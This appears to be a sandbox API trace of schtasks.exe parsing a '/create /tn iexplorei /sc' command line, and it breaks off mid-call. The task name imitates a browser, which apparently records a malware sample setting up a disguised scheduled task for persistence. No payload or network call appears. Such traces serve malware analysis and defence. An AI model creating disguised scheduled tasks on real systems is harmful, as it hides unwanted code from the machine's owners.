RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a60 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a90 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29ba10 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295ac0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295af0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295b20 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295b50 [0151.634] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0151.634] SetLastError (dwErrCode=0x0) [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295b80 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295bb0 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295be0 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295c10 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295c40 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29ba30 [0151.634] _memicmp (_Buf1=0x29ba30, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.634] GetProcessHeap () returned 0x280000 [0151.634] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x208) returned 0x29bbd0 [0151.634] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29bbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0151.635] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0151.640] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0151.640] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0151.641] GetProcessHeap () returned 0x280000 [0151.641] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x74e) returned 0x29c180 [0151.641] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0151.641] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x29c180 | out: lpData=0x29c180) returned 1 [0151.642] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0151.642] VerQueryValueW (in: pBlock=0x29c180, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf248, puLen=0xbf2b0 | out: lplpBuffer=0xbf248*=0x29c51c, puLen=0xbf2b0) returned 1 [0151.645] _memicmp (_Buf1=0x29ba30, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.645] _vsnwprintf (in: _Buffer=0x29bbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbf228 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0151.645] VerQueryValueW (in: pBlock=0x29c180, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf2b8, puLen=0xbf2a8 | out: lplpBuffer=0xbf2b8*=0x29c348, puLen=0xbf2a8) returned 1 [0151.645] lstrlenW (lpString="schtasks.exe") returned 12 [0151.645] lstrlenW (lpString="schtasks.exe") returned 12 [0151.645] lstrlenW (lpString=".EXE") returned 4 [0151.646] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0151.647] lstrlenW (lpString="schtasks.exe") returned 12 [0151.647] lstrlenW (lpString=".EXE") returned 4 [0151.647] _memicmp (_Buf1=0x29ba30, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.647] lstrlenW (lpString="schtasks") returned 8 [0151.647] GetProcessHeap () returned 0x280000 [0151.647] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295d30 [0151.647] GetProcessHeap () returned 0x280000 [0151.647] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ca90 [0151.647] GetProcessHeap () returned 0x280000 [0151.647] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cac0 [0151.647] GetProcessHeap () returned 0x280000 [0151.648] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29caf0 [0151.648] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29ba50 [0151.649] _memicmp (_Buf1=0x29ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.649] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xa0) returned 0x29bfd0 [0151.649] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cb20 [0151.649] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cb50 [0151.649] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cb80 [0151.649] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29ba70 [0151.649] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.649] GetProcessHeap () returned 0x280000 [0151.649] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x200) returned 0x29d260 [0151.650] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0151.650] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0151.650] GetProcessHeap () returned 0x280000 [0151.650] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x30) returned 0x297a30 [0151.650] _vsnwprintf (in: _Buffer=0x29bfd0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbf228 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0151.650] GetProcessHeap () returned 0x280000 [0151.650] GetProcessHeap () returned 0x280000 [0151.650] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c180) returned 1 [0151.650] GetProcessHeap () returned 0x280000 [0151.650] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c180) returned 0x74e [0151.651] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c180 | out: hHeap=0x280000) returned 1 [0151.651] SetLastError (dwErrCode=0x0) [0151.651] GetThreadLocale () returned 0x409 [0151.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.651] lstrlenW (lpString="?") returned 1 [0151.651] GetThreadLocale () returned 0x409 [0151.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.651] lstrlenW (lpString="create") returned 6 [0151.651] GetThreadLocale () returned 0x409 [0151.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] lstrlenW (lpString="delete") returned 6 [0151.652] GetThreadLocale () returned 0x409 [0151.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] lstrlenW (lpString="query") returned 5 [0151.652] GetThreadLocale () returned 0x409 [0151.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] lstrlenW (lpString="change") returned 6 [0151.652] GetThreadLocale () returned 0x409 [0151.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] lstrlenW (lpString="run") returned 3 [0151.652] GetThreadLocale () returned 0x409 [0151.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] lstrlenW (lpString="end") returned 3 [0151.652] GetThreadLocale () returned 0x409 [0151.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] lstrlenW (lpString="showsid") returned 7 [0151.652] GetThreadLocale () returned 0x409 [0151.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.652] SetLastError (dwErrCode=0x0) [0151.652] SetLastError (dwErrCode=0x0) [0151.652] lstrlenW (lpString="/create") returned 7 [0151.652] lstrlenW (lpString="-/") returned 2 [0151.652] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.652] lstrlenW (lpString="?") returned 1 [0151.652] lstrlenW (lpString="?") returned 1 [0151.652] GetProcessHeap () returned 0x280000 [0151.652] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29c180 [0151.652] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.653] GetProcessHeap () returned 0x280000 [0151.653] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xa) returned 0x29c1a0 [0151.653] lstrlenW (lpString="create") returned 6 [0151.653] GetProcessHeap () returned 0x280000 [0151.653] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29c1c0 [0151.653] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.653] GetProcessHeap () returned 0x280000 [0151.653] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x14) returned 0x29c1e0 [0151.653] _vsnwprintf (in: _Buffer=0x29c1a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|?|") returned 3 [0151.653] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.653] lstrlenW (lpString="|?|") returned 3 [0151.653] lstrlenW (lpString="|create|") returned 8 [0151.653] SetLastError (dwErrCode=0x490) [0151.653] lstrlenW (lpString="create") returned 6 [0151.653] lstrlenW (lpString="create") returned 6 [0151.653] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.653] GetProcessHeap () returned 0x280000 [0151.653] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c1a0) returned 1 [0151.653] GetProcessHeap () returned 0x280000 [0151.653] RtlReAllocateHeap (Heap=0x280000, Flags=0xc, Ptr=0x29c1a0, Size=0x14) returned 0x29c200 [0151.653] lstrlenW (lpString="create") returned 6 [0151.653] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.653] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.653] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.653] lstrlenW (lpString="|create|") returned 8 [0151.654] lstrlenW (lpString="|create|") returned 8 [0151.654] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0151.654] SetLastError (dwErrCode=0x0) [0151.654] SetLastError (dwErrCode=0x0) [0151.654] SetLastError (dwErrCode=0x0) [0151.654] lstrlenW (lpString="/tn") returned 3 [0151.654] lstrlenW (lpString="-/") returned 2 [0151.654] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.654] lstrlenW (lpString="?") returned 1 [0151.654] lstrlenW (lpString="?") returned 1 [0151.654] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.654] lstrlenW (lpString="tn") returned 2 [0151.654] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.654] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|?|") returned 3 [0151.654] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.654] lstrlenW (lpString="|?|") returned 3 [0151.654] lstrlenW (lpString="|tn|") returned 4 [0151.654] SetLastError (dwErrCode=0x490) [0151.654] lstrlenW (lpString="create") returned 6 [0151.654] lstrlenW (lpString="create") returned 6 [0151.654] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.654] lstrlenW (lpString="tn") returned 2 [0151.654] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.654] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.654] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.655] lstrlenW (lpString="|create|") returned 8 [0151.655] lstrlenW (lpString="|tn|") returned 4 [0151.655] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0151.655] SetLastError (dwErrCode=0x490) [0151.655] lstrlenW (lpString="delete") returned 6 [0151.655] lstrlenW (lpString="delete") returned 6 [0151.655] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.655] lstrlenW (lpString="tn") returned 2 [0151.655] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.655] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|delete|") returned 8 [0151.655] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.655] lstrlenW (lpString="|delete|") returned 8 [0151.655] lstrlenW (lpString="|tn|") returned 4 [0151.655] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0151.655] SetLastError (dwErrCode=0x490) [0151.655] lstrlenW (lpString="query") returned 5 [0151.655] lstrlenW (lpString="query") returned 5 [0151.655] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.655] lstrlenW (lpString="tn") returned 2 [0151.655] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.655] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|query|") returned 7 [0151.655] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.655] lstrlenW (lpString="|query|") returned 7 [0151.655] lstrlenW (lpString="|tn|") returned 4 [0151.656] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0151.656] SetLastError (dwErrCode=0x490) [0151.656] lstrlenW (lpString="change") returned 6 [0151.656] lstrlenW (lpString="change") returned 6 [0151.656] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.656] lstrlenW (lpString="tn") returned 2 [0151.656] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.656] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|change|") returned 8 [0151.656] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.656] lstrlenW (lpString="|change|") returned 8 [0151.656] lstrlenW (lpString="|tn|") returned 4 [0151.656] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0151.656] SetLastError (dwErrCode=0x490) [0151.656] lstrlenW (lpString="run") returned 3 [0151.656] lstrlenW (lpString="run") returned 3 [0151.656] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.656] lstrlenW (lpString="tn") returned 2 [0151.656] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.656] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|run|") returned 5 [0151.656] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.656] lstrlenW (lpString="|run|") returned 5 [0151.656] lstrlenW (lpString="|tn|") returned 4 [0151.656] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0151.656] SetLastError (dwErrCode=0x490) [0151.657] lstrlenW (lpString="end") returned 3 [0151.657] lstrlenW (lpString="end") returned 3 [0151.657] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.657] lstrlenW (lpString="tn") returned 2 [0151.657] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.657] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|end|") returned 5 [0151.657] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.657] lstrlenW (lpString="|end|") returned 5 [0151.657] lstrlenW (lpString="|tn|") returned 4 [0151.657] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0151.657] SetLastError (dwErrCode=0x490) [0151.657] lstrlenW (lpString="showsid") returned 7 [0151.657] lstrlenW (lpString="showsid") returned 7 [0151.657] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.657] GetProcessHeap () returned 0x280000 [0151.657] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c200) returned 1 [0151.657] GetProcessHeap () returned 0x280000 [0151.657] RtlReAllocateHeap (Heap=0x280000, Flags=0xc, Ptr=0x29c200, Size=0x16) returned 0x29c200 [0151.657] lstrlenW (lpString="tn") returned 2 [0151.657] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.657] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|showsid|") returned 9 [0151.657] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tn|") returned 4 [0151.658] lstrlenW (lpString="|showsid|") returned 9 [0151.658] lstrlenW (lpString="|tn|") returned 4 [0151.658] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0151.658] SetLastError (dwErrCode=0x490) [0151.658] SetLastError (dwErrCode=0x490) [0151.658] SetLastError (dwErrCode=0x0) [0151.658] lstrlenW (lpString="/tn") returned 3 [0151.658] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0151.658] SetLastError (dwErrCode=0x490) [0151.658] SetLastError (dwErrCode=0x0) [0151.658] lstrlenW (lpString="/tn") returned 3 [0151.658] GetProcessHeap () returned 0x280000 [0151.658] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29c1a0 [0151.658] GetProcessHeap () returned 0x280000 [0151.658] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cbb0 [0151.658] SetLastError (dwErrCode=0x0) [0151.658] SetLastError (dwErrCode=0x0) [0151.658] lstrlenW (lpString="iexplorei") returned 9 [0151.658] lstrlenW (lpString="-/") returned 2 [0151.658] StrChrIW (lpStart="-/", wMatch=0x69) returned 0x0 [0151.658] SetLastError (dwErrCode=0x490) [0151.658] SetLastError (dwErrCode=0x490) [0151.658] SetLastError (dwErrCode=0x0) [0151.658] lstrlenW (lpString="iexplorei") returned 9 [0151.658] StrChrIW (lpStart="iexplorei", wMatch=0x3a) returned 0x0 [0151.658] SetLastError (dwErrCode=0x490) [0151.658] SetLastError (dwErrCode=0x0) [0151.658] lstrlenW (lpString="iexplorei") returned 9 [0151.658] GetProcessHeap () returned 0x280000 [0151.658] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x14) returned 0x29d4a0 [0151.659] GetProcessHeap () returned 0x280000 [0151.659] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cbe0 [0151.659] SetLastError (dwErrCode=0x0) [0151.659] SetLastError (dwErrCode=0x0) [0151.659] lstrlenW (lpString="/sc") returned 3 [0151.659] lstrlenW (lpString="-/") returned 2 [0151.659] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.659] lstrlenW (lpString="?") returned 1 [0151.659] lstrlenW (lpString="?") returned 1 [0151.659] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.659] lstrlenW (lpString="sc") returned 2 [0151.659] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.659] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|?|") returned 3 [0151.659] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.659] lstrlenW (lpString="|?|") returned 3 [0151.659] lstrlenW (lpString="|sc|") returned 4 [0151.659] SetLastError (dwErrCode=0x490) [0151.659] lstrlenW (lpString="create") returned 6 [0151.659] lstrlenW (lpString="create") returned 6 [0151.659] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.659] lstrlenW (lpString="sc") returned 2 [0151.659] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.659] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.659] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.659] lstrlenW (lpString="|create|") returned 8 [0151.660] lstrlenW (lpString="|sc|") returned 4 [0151.660] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0151.660] SetLastError (dwErrCode=0x490) [0151.660] lstrlenW (lpString="delete") returned 6 [0151.660] lstrlenW (lpString="delete") returned 6 [0151.660] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.660] lstrlenW (lpString="sc") returned 2 [0151.660] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.660] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|delete|") returned 8 [0151.660] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.660] lstrlenW (lpString="|delete|") returned 8 [0151.660] lstrlenW (lpString="|sc|") returned 4 [0151.660] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0151.660] SetLastError (dwErrCode=0x490) [0151.660] lstrlenW (lpString="query") returned 5 [0151.660] lstrlenW (lpString="query") returned 5 [0151.660] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.660] lstrlenW (lpString="sc") returned 2 [0151.660] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.660] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|query|") returned 7 [0151.660] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.660] lstrlenW (lpString="|query|") returned 7 [0151.660] lstrlenW (lpString="|sc|") returned 4 [0151.660] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0151.661] SetLastError (dwErrCode=0x490) [0151.661] lstrlenW (lpString="change") returned 6 [0151.661] lstrlenW (lpString="change") returned 6 [0151.661] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.661] lstrlenW (lpString="sc") returned 2 [0151.661] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.661] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|change|") returned 8 [0151.661] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.661] lstrlenW (lpString="|change|") returned 8 [0151.661] lstrlenW (lpString="|sc|") returned 4 [0151.661] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0151.661] SetLastError (dwErrCode=0x490) [0151.661] lstrlenW (lpString="run") returned 3 [0151.661] lstrlenW (lpString="run") returned 3 [0151.661] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.661] lstrlenW (lpString="sc") returned 2 [0151.661] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.661] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|run|") returned 5 [0151.661] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.661] lstrlenW (lpString="|run|") returned 5 [0151.661] lstrlenW (lpString="|sc|") returned 4 [0151.661] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0151.661] SetLastError (dwErrCode=0x490) [0151.661] lstrlenW (lpString="end") returned 3 [0151.662] lstrlenW (lpString="end") returned 3 [0151.662] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.662] lstrlenW (lpString="sc") returned 2 [0151.662] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.662] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|end|") returned 5 [0151.662] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.662] lstrlenW (lpString="|end|") returned 5 [0151.662] lstrlenW (lpString="|sc|") returned 4 [0151.662] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0151.662] SetLastError (dwErrCode=0x490) [0151.662] lstrlenW (lpString="showsid") returned 7 [0151.662] lstrlenW (lpString="showsid") returned 7 [0151.662] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.662] lstrlenW (lpString="sc") returned 2 [0151.662] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.662] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|showsid|") returned 9 [0151.662] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|sc|") returned 4 [0151.662] lstrlenW (lpString="|showsid|") returned 9 [0151.662] lstrlenW (lpString="|sc|") returned 4 [0151.662] StrStrIW 